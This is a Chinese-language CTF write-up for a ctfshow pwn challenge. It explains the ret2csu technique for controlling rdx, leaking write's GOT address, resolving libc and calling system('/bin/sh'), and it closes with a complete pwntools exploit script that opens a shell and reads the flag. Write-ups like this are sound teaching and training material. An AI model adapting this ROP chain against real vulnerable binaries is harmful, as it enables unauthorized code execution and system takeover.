[ctfshow pwn 内部赛] 签到题 write up

本文总阅读量

今天接触到一个新类型ret2csu的题,写一下wp,不能保证没有错误,欢迎大家指出

首先拿到题目,名字暗示了用ret2libc且程序为64位的。既然这样那直接拖进ida64:

乍一看,程序很简短,无后门binsh,像是典型的ret2libc,但是下手后就会发现没有那么简单。程序中唯一能有输出的函数是write,需要三个参数:

按照64位函数的传参顺序,我们需要rdi,rsi,rdx三个寄存器,但是用ROPgadget只能找到控制前两个寄存器的gadget:

无法控制rdx,因此无法简单的用ROPgadget去做,需要一个能够进一步控制rdx的方法去做

上CTFwiki上找到了类似的思路:ret2csu,正好解决了三个参数的问题,具体原理wiki里有,这里就只说明一下应该注意的小问题。

注意:不同的libc版本csu部分使用的寄存器会有区别

去ida里找到csu:

我们取4006A0和4006BA这两部分构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
csuStartAddr = 0x4006a0
csuEndAddr = 0x4006ba
#===========================#
payload = b'a' * 160 + b'b' * 8
payload += p64(retAddr)
payload += p64(csuEndAddr)
payload += p64(0)#rbx
payload += p64(1)#rbp
payload += p64(writeGot)#r12
payload += p64(0x8)#rdx
payload += p64(writeGot)#rsi
payload += p64(0x1)#rdi
#write(0x1, writeGot, 0x8)
payload += p64(csuStartAddr)
payload += b'a' * 56
payload += p64(mainAddr)
p.sendlineafter(b'Me?\n', payload)

注意三个参数的顺序,与实际的相反,其次要注意调用csustart的时候会执行到结尾,期间栈顶rsp上升了8个字节且pop了6次,因此我们要在栈上补充(6+1)*8=56个字节,最后在返回main(注意用write的plt无法跳转,只能用got,因为这里相当于call [r12]有个取地址,而got表存放的就是函数地址,plt表存放的是跳转到got/动态解析函数的指令)

下一步就是经典的算偏移,栈溢出拿shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
writeAddr = u64(p.recv(8).ljust(8, b'\0'))
log.success('writeAddr:' + hex(writeAddr))

libc = LibcSearcher('write', writeAddr)

offset = writeAddr - libc.dump('write')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')

payload = b'a' * 160 + b'b' * 8
payload += p64(retAddr)
payload += p64(retAddr)
payload += p64(rdiAddr)
payload += p64(binsh)
payload += p64(system)
payload += p64(mainAddr)
p.sendlineafter(b'Me?\n', payload)

还是要注意两个ret栈对齐,libc选0就能拿到shell

成功拿到flag:

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")
binary = '../ret2libc_64'
elf =ELF(binary)

local = 1
port = 28174
if local == 0:
p = process(binary)
else:
p = remote("pwn.challenge.ctf.show",port)

next = b"ls && cat flag"
#===============plt & got===============#
writePlt = elf.plt["write"]
writeGot = elf.got["write"]
#==================rop==================#
mainAddr = elf.symbols["main"]
retAddr = 0x00000000004004a9
rdiAddr = 0x00000000004006c3
#pop rdi;ret
#==================csu==================#
csuStartAddr = 0x4006a0
csuEndAddr = 0x4006ba
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
#=================start=================#
payload = b'a' * 160 + b'b' * 8
payload += p64(retAddr)
payload += p64(csuEndAddr)
payload += p64(0)#rbx
payload += p64(1)#rbp
payload += p64(writeGot)#r12
payload += p64(0x8)#rdx
payload += p64(writeGot)#rsi
payload += p64(0x1)#rdi
payload += p64(csuStartAddr)
payload += b'a' * 56
payload += p64(mainAddr)
p.sendlineafter(b'Me?\n', payload)

writeAddr = u64(p.recv(8).ljust(8, b'\0'))
log.success('writeAddr:' + hex(writeAddr))

libc = LibcSearcher('write', writeAddr)

offset = writeAddr - libc.dump('write')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')


#================round 2================#
payload = b'a' * 160 + b'b' * 8
payload += p64(retAddr)
payload += p64(retAddr)
payload += p64(rdiAddr)
payload += p64(binsh)
payload += p64(system)
payload += p64(mainAddr)
p.sendlineafter(b'Me?\n', payload)
#=================End=================#
p.sendline(next)
p.interactive()